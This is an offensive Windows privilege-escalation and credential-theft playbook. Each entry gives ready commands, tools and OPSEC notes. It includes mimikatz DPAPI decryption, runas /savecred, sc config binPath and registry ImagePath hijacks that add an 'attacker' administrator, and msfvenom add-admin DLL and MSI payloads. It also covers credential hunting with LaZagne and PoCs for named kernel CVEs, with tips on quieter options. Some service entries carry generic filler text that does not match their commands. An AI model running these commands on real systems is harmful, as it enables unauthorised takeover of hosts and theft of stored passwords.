# Decrypt a masterkey (known password)
dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<pw>

# Decrypt a credential blob (check both %LOCALAPPDATA%\Microsoft\Credentials\ and %APPDATA%\Microsoft\Credentials\)
dpapi::cred /in:"%LOCALAPPDATA%\Microsoft\Credentials\<blob>" /masterkey:<key>

Tools

• SharpDPAPI
• mimikatz

References

• MITRE ATT&CK · T1555.004 · taxonomy source
• harmj0y, Operational Guidance for Offensive User DPAPI Abuse · research source
• HackTricks, DPAPI Extracting Passwords · community source

OPSEC / detection: Reading masterkey + Credentials files and invoking DPAPI is detectable via file access patterns and known tool signatures.

Saved Credentials (cmdkey)

Reuse cmdkey-saved creds via runas /savecred.

cmdkey /list reveals credentials saved in Credential Manager. If an admin credential was saved by a prior runas /savecred (an interactive-logon-type credential), run commands as that user with runas /savecred without knowing the password, directly inheriting their privileges. Note that credentials merely added with cmdkey /add or /generic are a different credential type and are generally NOT accepted by runas /savecred.

Applicability: All supported Windows versions.

Requires

• A privileged credential previously saved by runas /savecred (interactive-logon type) in Credential Manager

Example commands

# List stored creds
cmdkey /list

# Run as the saved (admin) user (/user: must match the exact target shown by cmdkey /list, e.g. HOSTNAME\Administrator or DOMAIN\svc_admin)
runas /savecred /user:HOSTNAME\Administrator "cmd /c net localgroup administrators attacker /add"

Tools

• cmdkey (built-in)
• runas (built-in)

References

• MITRE ATT&CK · T1078.003 · taxonomy source
• HackingArticles, Stored Credentials (Runas) · community source

OPSEC / detection: Low-noise; uses built-in tools. The runas-spawned process tree under a different user is the main signal.

Winlogon Autologon

Read a cleartext autologon password from the registry.

When automatic logon is configured manually via the registry (KB 324737), Windows stores the account name and its password in cleartext under the Winlogon registry key (DefaultUserName / DefaultPassword, with AutoAdminLogon = 1), and any user can read these values. If the autologon account is a local or domain admin, you have its password directly, no cracking required. This does NOT hold for autologon set up with Sysinternals Autologon.exe: that tool stores the secret as the LSA secret DefaultPassword under HKLM\SECURITY\Policy\Secrets (admin/SYSTEM ACL), so the reg query below returns nothing and recovery needs lsadump / SeSecurityPrivilege instead.

Applicability: All supported Windows versions, only when autologon is configured via the registry (manual KB 324737 path). Autologon set up with Sysinternals Autologon.exe stores the secret as an LSA secret instead, so there is no cleartext DefaultPassword to read.

Requires

• Autologon configured with a stored DefaultPassword

Example commands

# Read the autologon values (query the whole key to surface AutoAdminLogon + DefaultUserName/DefaultDomainName/DefaultPassword together)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Tools

• reg (built-in)

References

• Microsoft, KB 324737: Configure Windows to automate logon · primary source
• MITRE T1552.002, Credentials in Registry · taxonomy source

OPSEC / detection: Read-only registry query; very quiet. The cleartext password is only present when autologon was configured via the registry; an Autologon.exe-configured host has no DefaultPassword value and needs an LSA-secret dump (noisier, admin-only) instead.

HiveNightmare / SeriousSAM

CVE-2021-36934: any user reads SAM via a shadow copy.

On affected Windows 10/11 builds the ACLs on C:\Windows\System32\config\SAM, SYSTEM and SECURITY mistakenly granted BUILTIN\Users read access. A non-admin can read these hives out of a Volume Shadow Copy and extract the local-admin hash offline: no SeBackup, no admin token required. Mitigated by patching, fixing the ACLs, and deleting existing shadow copies.

Applicability: Windows 10 1809–21H1, Windows 11 21H2, and Server 2019 / 2022, pre-patch (patched Aug 2021).

Requires

• Unpatched vulnerable build
• At least one VSS shadow copy present

Example commands

# Confirm the over-permissive ACL
icacls C:\Windows\System32\config\SAM

# Extract in-use hives from a shadow copy (produces SAM-haxx etc.)
HiveNightmare.exe

# Dump the extracted hives offline
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Tools

• impacket-secretsdump
• HiveNightmare PoC

References

• MITRE ATT&CK · T1003.002 · taxonomy source
• MSRC, CVE-2021-36934 · primary source

OPSEC / detection: The raw offline hive read is quiet, but running icacls against the config hives and touching a shadow copy are both documented HiveNightmare detection signatures (Defender/Splunk/SOC Prime), so on a monitored host this is not silent. It depends on a shadow copy existing. Fully patched/mitigated systems are not affected.

PowerShell History

Read PSReadLine command history for secrets.

PSReadLine saves every PowerShell command to ConsoleHost_history.txt in the user profile, readable by its owner. Administrators routinely paste passwords, connection strings, and API keys into PowerShell, so your own history file is a reliable, no-privilege credential source. Reading OTHER users' histories under C:\Users\* needs local admin, since each profile's AppData is ACL'd to the owner, SYSTEM, and Administrators only.

Applicability: All supported Windows versions with PowerShell 5+ / PSReadLine.

Requires

• A PowerShell history file containing a secret

Example commands

# Read your own history file (no privilege)
type "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

# All users (requires local admin: reads other profiles)
gc C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Tools

• WinPEAS

References

• MITRE T1552.003, Shell History · taxonomy source

OPSEC / detection: Reading your own file is silent. The all-users wildcard read is admin-only and can generate access-denied noise or file-access audit events (4663) across other users' profiles. Depends on a user having typed a secret.

Files & Configs with Secrets

Hunt secrets across configs, scripts, and user artifacts.

Credentials hide all over the filesystem: unattended-install files (Unattend.xml, sysprep, Autounattend.xml under C:\Windows\Panther\), application configs (web.config, *.config, appsettings.json), scripts and .bat/.ps1 files, and user artifacts: the Recycle Bin, Sticky Notes (plum.sqlite), unsaved Notepad tabs (Windows 11 TabState), and custom config files. Grep broadly for password/key patterns; winPEAS and LaZagne automate most of these locations.

Applicability: All supported Windows versions (some artifact paths, e.g. Sticky Notes / Notepad tabs, vary by build).

Requires

• Readable files that contain credentials

Example commands

# Recursive password grep
findstr /si password *.xml *.ini *.txt *.config *.json

# Unattend / sysprep files
dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\System32\sysprep\*.xml

# Sticky Notes store
dir /s C:\Users\*\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite

Tools

• WinPEAS
• LaZagne

References

• MITRE T1552.001, Credentials In Files · taxonomy source
• LaZagne · primary source

OPSEC / detection: Read-only hunting is quiet; broad recursive searches can be noisy on disk-access auditing.

Password Managers & Browsers

Loot KeePass / browser stores for saved logins.

Locally stored vaults are high-value: KeePass .kdbx databases (and the KeePass 2.x CVE-2023-32784 master-password memory leak), browser-saved logins (Chrome/Edge "Login Data" SQLite, DPAPI-protected), and config files for other managers. LaZagne pulls credentials from dozens of such apps in one pass. Password-manager theft is T1555.005; browser-saved login theft is the distinct sub-technique T1555.003 (Credentials from Web Browsers).

Applicability: Depends on the installed application, not the Windows build.

Requires

• A local vault or browser store plus the user context / DPAPI (or its key) for kdbx and browser looting; the KeePass CVE-2023-32784 path instead needs a KeePass process-memory dump, not the master password

Example commands

# Find KeePass databases
dir /s /b C:\Users\*.kdbx

# LaZagne, all modules
lazagne.exe all

Tools

• LaZagne
• KeePass CVE-2023-32784 PoC

References

• MITRE T1555.005, Password Managers · taxonomy source
• MITRE T1555.003, Credentials from Web Browsers · taxonomy source
• NVD, CVE-2023-32784 (KeePass master password in memory) · database source

OPSEC / detection: Reading browser/KeePass files is quiet; LaZagne is AV-signatured.

Unquoted Service Path

Understand service startup configuration and executable-path records.

Windows uses service configuration to determine how a service starts. The Service Control Manager maintains installed-service records that include the executable path and other startup information. Understanding the stored path begins with distinguishing service configuration from the executable file it names.

Applicability: All supported Windows versions (configuration weakness).

Reviewed claims

• Windows uses service configuration information to determine how to start a service.

  Microsoft — Service Configuration — Opening configuration definition

  Microsoft — Service Configuration

• The Service Control Manager's installed-service database includes the fully qualified executable path.

  Microsoft — Database of Installed Services — Installed-service information: executable-path item

  Microsoft — Database of Installed Services

Requires

• Service with an unquoted path + space
• Write access to an intermediate directory
• Ability to restart the service or reboot

Example commands

# Find unquoted paths with spaces
Get-WmiObject win32_service | ? { $_.PathName -notlike '"*' -and $_.PathName -like '* *' } | select Name, PathName

# Restart the service to trigger (sc stop is async and returns before STOPPED, so the start can race error 1061; poll or wait, e.g. sc query ... | findstr STOPPED, or rely on the auto-start-on-reboot path)
sc stop <service> & sc query <service> | findstr STOPPED & sc start <service>

Tools

• WinPEAS
• PowerUp

References

• MITRE ATT&CK · T1574.009 · taxonomy source
• Microsoft — Service Configuration · primary source
• Microsoft — Database of Installed Services · primary source

OPSEC / detection: A new EXE in an unusual path + service crash/restart events are detectable. The service runs your binary as its (often SYSTEM) account.

Weak Service Permissions (binPath)

Distinguish access to service objects from access to files.

The Windows access-control model governs access to the Service Control Manager and individual service objects. Files are also securable objects with their own security descriptors. A service object and its executable file are separate objects when describing permissions.

Applicability: All supported Windows versions (configuration weakness).

Reviewed claims

• Windows access control applies to the Service Control Manager and service objects.

  Microsoft — Service Security and Access Rights — Opening access-control definition

  Microsoft — Service Security and Access Rights

• Files are securable objects whose access is governed by Windows access control and security descriptors.

  Microsoft — File Security and Access Rights — Opening definition; Security descriptors

  Microsoft — File Security and Access Rights

Requires

• SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS on a privileged service
• Ability to start/stop it

Example commands

# Enumerate modifiable services
accesschk.exe -uwcqv "Users" * /accepteula

# Hijack binPath (note the space after '=')
sc config <service> binpath= "net localgroup administrators attacker /add"

# Trigger
sc stop <service> & sc start <service>

Tools

• SharpUp
• accesschk (Sysinternals)

References

• MITRE ATT&CK · T1543.003 · taxonomy source
• Microsoft — Service Security and Access Rights · primary source
• Microsoft — File Security and Access Rights · primary source

OPSEC / detection: sc config changes and the service failing to return a control response are logged. The command still executes before the SCM errors out.

Writable Service Binary

Distinguish executable-file access from a service's account identity.

Windows regulates access to files through its access-control model. Separately, each service runs in an account's security context. The permissions on an executable file and the identity of the process using it describe different parts of the security model.

Applicability: All supported Windows versions (configuration weakness).

Reviewed claims

• Windows treats files as securable objects subject to its access-control model.

  Microsoft — File Security and Access Rights — Opening file-security definition

  Microsoft — File Security and Access Rights

• Each Windows service runs in the security context of an account.

  Microsoft — Service User Accounts — Opening service-account definition

  Microsoft — Service User Accounts

Requires

• Write/modify permission on the service EXE or its directory
• Service runs as SYSTEM/elevated
• Ability to restart it

Example commands

# Check write access to a service binary
accesschk.exe -quvw "Users" "C:\Path\To\service.exe" /accepteula

# Stop, replace, restart (running service locks its EXE)
sc stop <service> & copy /y payload.exe "C:\Path\To\service.exe" & sc start <service>

Tools

• accesschk (Sysinternals)
• PowerUp

References

• MITRE ATT&CK · T1574.010 · taxonomy source
• Microsoft — File Security and Access Rights · primary source
• Microsoft — Service User Accounts · primary source

OPSEC / detection: File-modification + service-restart events. Back up the original binary to restore the service afterward.

Weak Service Registry Perms

Understand registry access control and installed-service records.

Registry keys have security descriptors and access rights in the Windows security model. The Service Control Manager stores its installed-service database in the registry. Registry permissions describe access to stored configuration; the service database describes the installed services.

Applicability: All supported Windows versions (configuration weakness).

Reviewed claims

• Windows controls access to registry keys using security descriptors and access rights.

  Microsoft — Registry Key Security and Access Rights — Opening definition and security-descriptor paragraphs

  Microsoft — Registry Key Security and Access Rights

• The Service Control Manager maintains its installed-service database in the registry.

  Microsoft — Database of Installed Services — Opening database definition

  Microsoft — Database of Installed Services

Requires

• Write access to a service registry key
• Ability to restart the service or reboot

Example commands

# Find writable service keys
accesschk.exe -kvuqsw hklm\System\CurrentControlSet\Services /accepteula

# Overwrite ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\<svc> /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\payload.exe" /f

Tools

• accesschk (Sysinternals)

References

• MITRE ATT&CK · T1574.011 · taxonomy source
• Microsoft — Registry Key Security and Access Rights · primary source
• Microsoft — Database of Installed Services · primary source

OPSEC / detection: Registry modification of ImagePath on a service key is a high-fidelity detection: the write event is logged the moment it happens (Sysmon Event ID 13, Security 4657) regardless of any later reversion. Restore the value afterward for operational cleanup and to avoid breaking the service, not to evade detection (restoring only adds a second change event).

Service DLL Hijacking

Understand how loaded DLLs relate to processes and threads.

A process is an executing program with one or more threads. A loaded DLL is mapped into the process's virtual address space, and its exported functions run in the context of the calling thread. The library, the process and the thread describe related but distinct parts of program execution.

Applicability: All supported Windows versions (depends on the service).

Reviewed claims

• A process is an executing program, and one or more threads run within its context.

  Microsoft — Processes and Threads — Opening process and thread definitions

  Microsoft — Processes and Threads

• A loaded DLL is mapped into the process's virtual address space, and an exported function runs in the calling thread's context.

  Microsoft — About Dynamic-Link Libraries — DLLs and Memory Management

  Microsoft — About Dynamic-Link Libraries

Requires

• Privileged service that loads a DLL from a writable / missing path
• Ability to restart it

Example commands

# Generate an x64 add-admin DLL (EXITFUNC=thread keeps the hijacked service alive)
msfvenom -p windows/x64/exec CMD='net localgroup administrators attacker /add' EXITFUNC=thread -f dll -o hijack.dll

Tools

• Process Monitor (Sysinternals)
• msfvenom (Metasploit)

References

• MITRE ATT&CK · T1574.001 · taxonomy source
• Microsoft — Processes and Threads · primary source
• Microsoft — About Dynamic-Link Libraries · primary source

OPSEC / detection: An unsigned DLL loaded by a signed service binary from a user-writable directory (Sysmon Event ID 7) is a strong detection signal.

Writable %PATH% Directory

Plant a DLL a privileged service resolves by name from %PATH%.

If a directory listed in the system PATH is writable by your user, a privileged process or service that loads a DLL by bare name (no full path) can resolve it from your writable directory. Under the default DLL search order, PATH is searched LAST (after the application directory, System32, the Windows directory, and the current directory), so this only works for a DLL the target does NOT already resolve from one of those earlier locations, i.e. a missing / "ghost" DLL. Drop a matching DLL whose DllMain runs your payload; it loads into the privileged process. Distinct from a per-app DLL hijack: here the weakness is a globally writable PATH entry.

Applicability: All supported Windows versions (depends on a writable PATH entry).

Requires

• A user-writable directory on the system PATH
• A privileged service/process that DLL-loads by bare name

Example commands

# Show the system PATH
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path

# Check each PATH dir for write access (scoped to a principal you control)
accesschk.exe -uwdq "Users" "C:\SomePathDir" /accepteula

Tools

• accesschk (Sysinternals)
• PowerUp (Find-PathDLLHijack)

References

• MITRE T1574.007, Path Interception by PATH Env Var · taxonomy source

OPSEC / detection: An unsigned DLL loaded by a signed, privileged binary from a user-writable PATH directory (Sysmon Event ID 7) is a strong signal.

Writable Autorun

Understand the security of logon startup registrations.

Windows provides Run and RunOnce registrations for programs associated with user logon. Run is intended for repeated startup and RunOnce for a single invocation. Registry keys are securable objects with security descriptors and access rights. The purpose of a startup registration and the permissions on its registry key are separate parts of the configuration.

Applicability: All supported Windows versions (configuration weakness).

Reviewed claims

• Windows documents Run for repeated logon startup and RunOnce for one-time execution.

  Microsoft, Run and RunOnce Registry Keys — Opening purpose and repeated/one-time distinction

  Microsoft, Run and RunOnce Registry Keys

• Windows controls access to registry keys through security descriptors and key access rights.

  Microsoft, Registry Key Security and Access Rights — Opening key security-descriptor and access-check explanation

  Microsoft, Registry Key Security and Access Rights

Requires

• Writable autorun binary or writable Run key
• A higher-privileged user logs in

Example commands

# List the HKLM Run key (the escalation target: fires for whoever logs on)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

# List the HKCU Run key (context only: runs as the current user, useful for finding writable target binaries)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

# Check write access to the target binary
accesschk.exe -wvu "C:\Path\To\autorun.exe" /accepteula

Tools

• Autoruns (Sysinternals)
• WinPEAS

References

• MITRE ATT&CK · T1547.001 · taxonomy source
• Microsoft, Run and RunOnce Registry Keys · primary source
• Microsoft, Registry Key Security and Access Rights · primary source

OPSEC / detection: Requires waiting for an admin logon. New/changed autorun entries are a classic detection (Autoruns, Sysmon).

Scheduled Task Abuse

Understand permissions on task definitions and their referenced files.

A task's execution identity and permission to manage the task are separate security properties. Task Scheduler uses access controls for reading, updating, deleting, and running tasks. Executable and script files referenced by tasks are also securable objects with their own security descriptors. A defensive review should distinguish the task's permissions from the permissions on its referenced resources.

Applicability: All supported Windows versions (configuration weakness).

Reviewed claims

• A task's access-control list governs permission to read, update, delete, and run it.

  Microsoft, Security Contexts for Tasks — Security for Reading, Updating, Deleting, and Running Tasks

  Microsoft, Security Contexts for Tasks

• Windows files and directories are securable objects whose security descriptors govern access.

  Microsoft, File Security and Access Rights — Security descriptors; File access rights

  Microsoft, File Security and Access Rights

Requires

• Writable binary/script invoked by a privileged scheduled task
• Task trigger fires (or you can run it)

Example commands

# Enumerate tasks + run-as user
schtasks /query /fo LIST /v

# Check write access to a task's target
accesschk.exe -quv "C:\Path\To\task.exe" /accepteula

Tools

• schtasks
• WinPEAS

References

• MITRE ATT&CK · T1053.005 · taxonomy source
• Microsoft, Security Contexts for Tasks · primary source
• Microsoft, File Security and Access Rights · primary source

OPSEC / detection: Event ID 4698/4702 on task changes; file modification of the task target. Overwriting an existing task binary is quieter than creating a new task.

MSSQL xp_cmdshell

Run OS commands as the SQL service account.

With sysadmin access to a local MSSQL instance, enable and call xp_cmdshell to execute OS commands as the SQL Server service account. If that account holds SeImpersonatePrivilege (common for service accounts), chain into a Potato attack for full SYSTEM.

Applicability: Any Windows host with a local MSSQL instance you are sysadmin on (SQL-version dependent, not OS).

Requires

• sysadmin role on the MSSQL instance
• xp_cmdshell enable-able

Example commands

# Enable xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

# Execute as the service account
EXEC xp_cmdshell 'whoami /priv';

Tools

• impacket-mssqlclient

References

• MITRE ATT&CK · T1059.003 · taxonomy source
• HackTricks, Pentesting MSSQL · community source

OPSEC / detection: sp_configure + xp_cmdshell are heavily monitored; many EDRs flag sqlservr.exe spawning cmd.exe.

Vulnerable Third-Party Software

Exploit a known LPE in installed software.

Enumerate installed applications and services and match their versions to public local-privilege-escalation CVEs. Vulnerable updaters, agents, VPN clients, and helper services frequently run as SYSTEM and have known exploits. winPEAS flags installed software and writable program directories; an outdated third-party service is often the easiest SYSTEM on the box.

Applicability: Depends on the installed software, not the Windows build.

Requires

• Installed software with a known, exploitable LPE

Example commands

# List installed software (registry, no MSI self-repair)
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "DisplayName DisplayVersion"

# 32-bit apps (Wow6432Node, missed by the native hive on 64-bit Windows)
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "DisplayName DisplayVersion"

# Non-default service binaries (PowerShell/CIM; wmic is disabled by default on 24H2 and being removed (25H2 upgrade / Server 2025 FoD-only))
Get-CimInstance Win32_Service | ? { $_.PathName -notlike '*C:\Windows*' } | select Name,PathName,StartMode

Tools

• WinPEAS
• Exploit-DB

References

• MITRE ATT&CK · T1068 · taxonomy source
• HackTricks, Windows Local Privilege Escalation · community source

OPSEC / detection: Exploit reliability varies; a crashing helper service is noticeable.

Insecure GUI App as Admin

Break out of a higher-privileged app into a shell.

Any custom or third-party application installed on the host and running at higher privilege is a candidate: a vendor management console, an elevated helper service with a tray UI, line-of-business / in-house software, a kiosk app, or an installer. Such apps are frequently configured to run as Administrator or SYSTEM and are rarely hardened, so they can be coerced into spawning a child process that inherits their privileges: break out through a File > Open/Save dialog (type a path, or right-click > Open in a new window), embedded Help (hh.exe), or a hyperlink that launches a browser you then escape to cmd. The more bespoke software a machine runs elevated, the more of these break-out primitives exist. Enumerate what is installed and how each process runs.

Applicability: Depends on the installed application, not the Windows build.

Requires

• A higher-privileged (admin/SYSTEM) GUI process you can interact with

Tools

• HackTricks, Windows Local Privilege Escalation

References

• MITRE ATT&CK · T1548 · taxonomy source
• HackTricks, GUI apps & privilege escalation · community source

OPSEC / detection: Spawning cmd from an unexpected parent (a vendor app, an installer, a browser, hh.exe) is a strong process-tree signal.

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Spooler loads an attacker DLL as SYSTEM.

The Print Spooler's RpcAddPrinterDriverEx lets an authenticated user register a printer "driver" DLL that spoolsv.exe (running as SYSTEM) then loads. CVE-2021-1675 was the initial local-privilege-escalation assignment (June 2021 patch); when that patch was shown not to stop the attack, Microsoft assigned CVE-2021-34527 for the same primitive. The identical technique runs your DLL as SYSTEM either locally (point it at an on-disk DLL) or remotely (a UNC/SMB driver path against another host's spooler). Requires the Print Spooler service to be running; fully mitigated by disabling it or patching.

Applicability: Unpatched Windows / Server, pre-July 2021. CVE-2021-1675 was the initial LPE assignment (June 2021); CVE-2021-34527 was assigned for the same RpcAddPrinterDriverEx primitive once the first patch was shown not to stop it, so the two IDs do not split cleanly into local vs remote. Print Spooler must be enabled.

Requires

• Print Spooler service running
• Unpatched host

Example commands

# Local LPE via a driver DLL
SharpPrintNightmare.exe C:\Temp\addCync.dll

Tools

• SharpPrintNightmare
• mimikatz (misc::printnightmare)

References

• MITRE ATT&CK · T1068 · taxonomy source
• MSRC, CVE-2021-1675 · primary source
• MSRC, CVE-2021-34527 · primary source

OPSEC / detection: Spooler loading a user-supplied driver DLL is heavily detected post-2021. Disabling the spooler kills it entirely.

AlwaysInstallElevated

Install a malicious MSI that runs as SYSTEM.

If the AlwaysInstallElevated policy DWORD is set to 1 in BOTH HKLM and HKCU, any user can install an MSI package that executes with SYSTEM privileges. Generate a malicious MSI and install it quietly. Both keys must be set; one alone is not exploitable.

Applicability: All supported Windows versions (only when the AlwaysInstallElevated policy is enabled in both hives).

Requires

• AlwaysInstallElevated = 0x1 in HKLM AND HKCU

Example commands

# Check both hives (both must be 0x1)
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Build a SYSTEM payload MSI
msfvenom -p windows/x64/exec cmd='net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add' -f msi -o evil.msi

# Install silently (transfer evil.msi to C:\Temp on the target first)
msiexec /quiet /qn /i C:\Temp\evil.msi

Tools

• msfvenom (Metasploit)
• PowerUp

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• PentestLab, Always Install Elevated · community source

OPSEC / detection: msiexec installing an unsigned MSI from a temp path is suspicious; the new local admin / process tree is detectable.

Enumerate Missing Patches

Map OS build/hotfixes to known kernel LPEs.

Collect systeminfo (OS version + installed KBs) and feed it to WES-NG, the actively-updated primary tool, to list kernel/privilege-escalation CVEs the system is missing patches for. This is the triage step before grabbing a specific exploit binary; prefer it on older/unpatched hosts where service/token misconfigs are absent. Watson is an on-host alternative but is archived/unmaintained (read-only since 2021) and only covers Win10 up to 2004 and Server 2016-2019, so it returns empty/incomplete output on Windows 11, Server 2022, and Win10 20H2+; use Seatbelt or PrivescCheck for on-host checks on modern targets.

Applicability: Triage step; applicability depends on the CVE it surfaces.

Requires

• Low-priv shell
• Ability to read OS version / run systeminfo

Example commands

# Collect target info
systeminfo > systeminfo.txt

# Bootstrap the definitions (fresh clone has none)
python wes.py --update

# Analyze offline (attacker host)
python wes.py systeminfo.txt --muc-lookup

Tools

• WES-NG
• Watson (archived; Win10<=2004 / Server 2016-2019 only)
• PrivescCheck

References

• MITRE ATT&CK · T1068 · taxonomy source
• HackTricks, Windows Local Privilege Escalation · community source

OPSEC / detection: WES-NG runs offline on the attacker host (invisible). Watson is a .NET assembly run on-target, but it is archived and blind to modern builds. The follow-on kernel exploit is what risks instability.

Kernel Exploit (generic)

Run a public exploit for an unpatched kernel CVE.

Once a missing-patch CVE is identified, run the matching public exploit against a kernel/driver vulnerability to execute code in the kernel and obtain a SYSTEM context (e.g. older targets vulnerable to CVE-2018-8120, MS16-135/CVE-2016-7255, or CVE-2021-1732, all Win32k kernel bugs). Verify the exact build first: wrong-build kernel exploits frequently bugcheck the host.

Applicability: Depends entirely on the specific CVE and exact build.

Requires

• Confirmed unpatched kernel CVE for the exact OS build

Example commands

# Example (build-specific binary; most kernel PoCs pop a SYSTEM shell rather than take a command)
.\exploit.exe cmd.exe

Tools

• SecWiki windows-kernel-exploits

References

• MITRE ATT&CK · T1068 · taxonomy source
• NVD, CVE-2018-8120 (Win32k EoP) · database source
• Microsoft, MS16-135 bulletin (CVE-2016-7255) · primary source

OPSEC / detection: High risk of instability / BSOD on the wrong build. Loud and last-resort; prefer misconfig-based vectors when available.

CVE-2023-21768 (AFD.sys)

AFD for WinSock write primitive on Win11 21H2/22H2 and Server 2022; public PoC completes SYSTEM only on 22H2.

An elevation-of-privilege flaw in the Ancillary Function Driver for WinSock (afd.sys) that yields a controlled arbitrary kernel WRITE. The CVE and its write primitive affect Windows 11 21H2/22H2 and Server 2022. The widely-used chompie1337 public PoC uses that write to corrupt IoRing (I/O Ring) registered-buffer structures into a full arbitrary kernel read/write primitive, then swaps the process token to SYSTEM; it only completes this chain on Windows 11 22H2, so other builds require porting the offsets. Fast and reliable where the PoC matches the build.

Applicability: Windows 11 21H2/22H2 and Server 2022, unpatched (pre-Jan 2023).

Requires

• Unpatched Windows 11 22H2 / Server 2022 build

Tools

• chompie1337 PoC

References

• MITRE ATT&CK · T1068 · taxonomy source
• MSRC, CVE-2023-21768 · primary source
• SentinelOne, CVE-2023-21768 · community source

OPSEC / detection: Driver exploitation can be caught by HVCI/EDR; the wrong build risks a bugcheck.

CVE-2021-1732 (Win32k)

Win32k out-of-bounds write → SYSTEM (in-the-wild).

A Win32k elevation-of-privilege via an out-of-bounds write (CWE-787): a user-mode callback (NtUserConsoleControl / xxxClientAllocWindowClassExtraBytes) leaves the tagWND.WndExtra pointer and its is-offset flag out of sync, yielding kernel read/write and a token swap to SYSTEM. Originally exploited in the wild by the Bitter APT; the public KaLendsi PoC is validated on 1909 x64 and its offsets are build-specific, so other builds need porting.

Applicability: Windows 10 1803–20H2 and Server 2019, unpatched (pre-Feb 2021). Per NVD CPE data, Server 2016 is not affected, and 1903 (out of support at patch time) is not in the NVD/MSRC list.

Requires

• Unpatched affected Windows 10 / Server build

Tools

• KaLendsi PoC

References

• MITRE ATT&CK · T1068 · taxonomy source
• MSRC, CVE-2021-1732 · primary source
• Google Project Zero, CVE-2021-1732 in-the-wild RCA · research source

OPSEC / detection: Kernel token manipulation is EDR-visible; the wrong build risks instability.

CVE-2020-0787 (BITS)

BITS arbitrary file move → SYSTEM, no SeImpersonate.

A symlink / arbitrary-file-move flaw in the Background Intelligent Transfer Service (BITS) that itm4n's exploit turns into an arbitrary file write as SYSTEM, then code execution. Works from a plain user without SeImpersonatePrivilege, across many Windows 7–10 builds.

Applicability: Windows 7 – Windows 10 1909 / Server 2008–2019, unpatched (pre-Mar 2020).

Requires

• Unpatched Windows 7–10 / Server build
• BITS service available

Tools

• itm4n CVE-2020-0787 PoC

References

• MITRE ATT&CK · T1068 · taxonomy source
• MSRC, CVE-2020-0787 · primary source
• itm4n, CVE-2020-0787 · research source

OPSEC / detection: Reliable and quiet relative to kernel exploits, but the file-move primitive and new SYSTEM process are detectable.

BlueHammer (CVE-2026-33825)

Race Defender remediation for a privileged file write → SYSTEM.

CVE-2026-33825: insufficient access-control granularity in Microsoft Defender. A local user races a time-of-check / time-of-use window in Defender's threat-remediation engine, which writes files as SYSTEM without revalidating the path, to escalate to SYSTEM. Disclosed April 2026 alongside RedSun and UnDefend, patched in the April update, and listed in CISA's Known Exploited Vulnerabilities catalog. Awareness entry; exploitation specifics are intentionally omitted.

Applicability: Microsoft Defender Antimalware Platform before 4.18.26030.3011 (Windows 10/11, Server 2016-2025); patched April 2026, in CISA KEV.

Requires

• A standard user session on a host with a vulnerable (pre-4.18.26030.3011) Defender platform

References

• MITRE ATT&CK · T1068 · taxonomy source
• NVD, CVE-2026-33825 · database source
• MSRC, CVE-2026-33825 · primary source

OPSEC / detection: Patched builds are immune; on unpatched hosts the remediation race and the new SYSTEM process are detectable.

RedSun (CVE-2026-41091)

Abuse Microsoft Defender cloud-file restore to write a file as SYSTEM (now patched).

A now-patched engine-level Windows privilege escalation (CVE-2026-41091, link-following / CWE-59), distinct from BlueHammer's plain remediation-write TOCTOU. During threat remediation Defender RESTORES (rather than quarantines) a cloud-tagged placeholder file, converted via the Windows Cloud Files API (cfapi/cldapi.dll), and does not revalidate the target path. A local user holds a batch oplock to pause the SYSTEM-privileged restore, then swaps in an NTFS junction that redirects the rewrite of the placeholder into a protected path (e.g. C:\Windows\System32\TieringEngineService.exe), landing code as SYSTEM. Disclosed April 2026, fixed in Defender Engine 1.1.26040.8 on 2026-05-19. Listed for awareness only; exploitation specifics are intentionally omitted.

Applicability: Windows 10/11 and Server 2019+ running Microsoft Defender before Malware Protection Engine 1.1.26040.8 / Antimalware Platform 4.18.26040.7; patched 2026-05-19, added to CISA KEV 2026-05-20.

Requires

• A standard user session on a host running an unpatched Microsoft Defender

References

• MITRE ATT&CK · T1068 · taxonomy source
• NVD, CVE-2026-41091 · database source
• SOCRadar, BlueHammer / RedSun / UnDefend Defender 0-days · research source
• Vectra, BlueHammer / RedSun / UnDefend in the wild · community source

OPSEC / detection: Triggering the exploit requires a Defender detection event (EICAR/malicious-file bait) that is itself logged, and success overwrites a signed System32 binary (TieringEngineService.exe); both are high-signal artifacts, not just a subtle path-confusion pattern.

CVE-2019-1388 (hhupd)

UAC certificate dialog → SYSTEM browser → shell.

The Windows Certificate Dialog in the hhupd.exe UAC prompt failed to drop privileges when following the certificate's "Issued by" hyperlink. Clicking it opens Internet Explorer as SYSTEM; from there a Save-As / file dialog launches cmd.exe as SYSTEM. A one-click GUI escalation on unpatched Windows 7–10 / 2008–2019.

Applicability: Windows 7 through 10 1903 and Server 2008 through 2019, unpatched (pre-Nov 2019). Windows 10 1909 shipped with the fix. (1703 was already out of support at patch time and is not in the Nov 2019 advisory, though the code path was equally vulnerable.)

Requires

• Unpatched build
• Ability to trigger the hhupd UAC dialog

Tools

• CVE-2019-1388 PoC (hhupd.exe bundle)

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• MSRC, CVE-2019-1388 · primary source
• ZDI, CVE-2019-1388 · research source

